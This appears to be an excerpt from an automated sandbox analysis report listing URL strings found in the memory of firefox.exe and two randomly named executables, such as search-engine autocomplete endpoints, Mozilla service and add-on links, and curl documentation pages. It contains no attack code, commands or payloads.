Source: firefox.exe, 0000001A.00000003.2034827726.0000025CF2AA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941505672.0000025CE9E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1940699460.0000025CE9C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941709187.0000025CE9E77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/query=
Source: bfa374134d.exe, 00000007.00000003.1752715813.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1753074415.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1752862089.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2012567376.00000000058AB000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2015792487.00000000058A8000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2013786257.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.caControllerCommands:DoWithParamsSERP
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2184596233.0000025CE8800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2146249874.000001F772330000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2160943827.00000202E0090000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.2148157998.000000D47C9D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/chall
Source: firefox.exe, 0000001A.00000002.2222268008.0000025CEB2B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2229487864.0000025CEB44C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2193309231.0000025CE9D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.2222268008.0000025CEB2B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwderIdL
Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE99F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2162261594.0000025CE5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4040738/cookie_autodelete-3.8.2.xpi
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4128570/languagetool-7.1.13.xpi
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpi
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4134489/enhancer_for_youtube-2.0.119.1.xpi
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpi
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/506/506646-64.png?modified=mcrushed
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/700/700308-64.png?modified=4bc8e79f
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/708/708770-64.png?modified=4f881970
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/954/954390-64.png?modified=97d4c956
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2209918604.0000025CEA88C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2215757021.0000025CEAA21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA910000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2215757021.0000025CEAA5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA906000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE99CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.2207522391.0000025CEA71F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 0000001A.00000003.2019912462.0000025CF26F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019912462.0000025CF26DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001A.00000003.2019209448.0000025CF2963000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 0000001A.00000002.2153342673.0000025CDA211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019912462.0000025CF26F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: bfa374134d.exe, 00000007.00000003.1807569563.00000000058ED000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2175126394.00000000058F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE99CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2160798255.0000025CE59AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F7725B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700
Source: bfa374134d.exe, 00000007.00000003.1807569563.00000000058ED000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2175817586.00000000058F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE99CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2160798255.0000025CE59AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F7725B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700002.1&cta
Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2234955418.0000025CEBE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE63AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE63AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180BookmarkingUI
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1997476199.0000025CF2437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1997476199.0000025CF2437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1997476199.0000025CF2437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: bfa374134d.exe, 00000007.00000003.1752715813.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1753074415.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1752862089.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2012567376.00000000058AB000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2015792487.00000000058A8000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2013786257.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: bfa374134d.exe, 00000007.00000003.1752715813.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1753074415.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1752862089.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2012567376.00000000058AB000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2015792487.00000000058A8000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2013786257.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: bfa374134d.exe, 00000007.00000003.1752715813.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1753074415.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1752862089.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2012567376.00000000058AB000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2015792487.00000000058A8000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2013786257.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941020374.0000025CE9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2179326040.0000025CE78A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941270816.0000025CE9E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941505672.0000025CE9E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE991B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1940699460.0000025CE9C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941709187.0000025CE9E77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.2193309231.0000025CE9DDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2207522391.0000025CEA746000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001A.00000003.2034827726.0000025CF2AA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: bfa374134d.exe, 00000007.00000003.1807569563.00000000058ED000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2175126394.00000000058F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2160798255.0000025CE59AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F7725B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/5b4DH7KHAf2n_mNaLjNi1-UAoKmM9rhqaA9w7FyznHo.10943.jpg
Source: bfa374134d.exe, 0000000F.00000003.2175817586.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425A
Source: bfa374134d.exe, 00000007.00000003.1807569563.00000000058ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE99CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2160798255.0000025CE59AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F7725B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2184596233.0000025CE8800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2146249874.000001F772330000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2160943827.00000202E0090000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.2153342673.0000025CDA211000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2153342673.0000025CDA230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000003.1984384764.0000025CF2551000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2126268179.0000025CF2542000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationschr
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001A.00000002.2230488431.0000025CEB503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 0000001A.00000003.1984384764.0000025CF2551000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2126268179.0000025CF2542000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE99CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000003.2034827726.0000025CF2AA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941505672.0000025CE9E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1940699460.0000025CE9C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941709187.0000025CE9E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2207522391.0000025CEA746000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001A.00000002.2193309231.0000025CE9DA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: bfa374134d.exe, 00000007.00000003.1752715813.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1753074415.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1752862089.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2012567376.00000000058AB000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2015792487.00000000058A8000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2013786257.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: bfa374134d.exe, 00000007.00000003.1752715813.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1753074415.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1752862089.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2012567376.00000000058AB000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2015792487.00000000058A8000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2013786257.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: bfa374134d.exe, 00000007.00000003.1752715813.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1753074415.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1752862089.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2012567376.00000000058AB000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2015792487.00000000058A8000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2013786257.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000002.2179326040.0000025CE78A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE99AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2164364393.0000025CE5F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2181618452.0000025CE8739000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1944757242.0000025CE8733000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s_injectDefaultProtocolHandlersIfNeededgecko.handlerServic
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE9994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE9994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE99AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2181618452.0000025CE8739000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1944757242.0000025CE8733000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFA12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2025428789.0000025CEB32E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001A.00000002.2234955418.0000025CEBE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2197344655.0000025CEA000000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
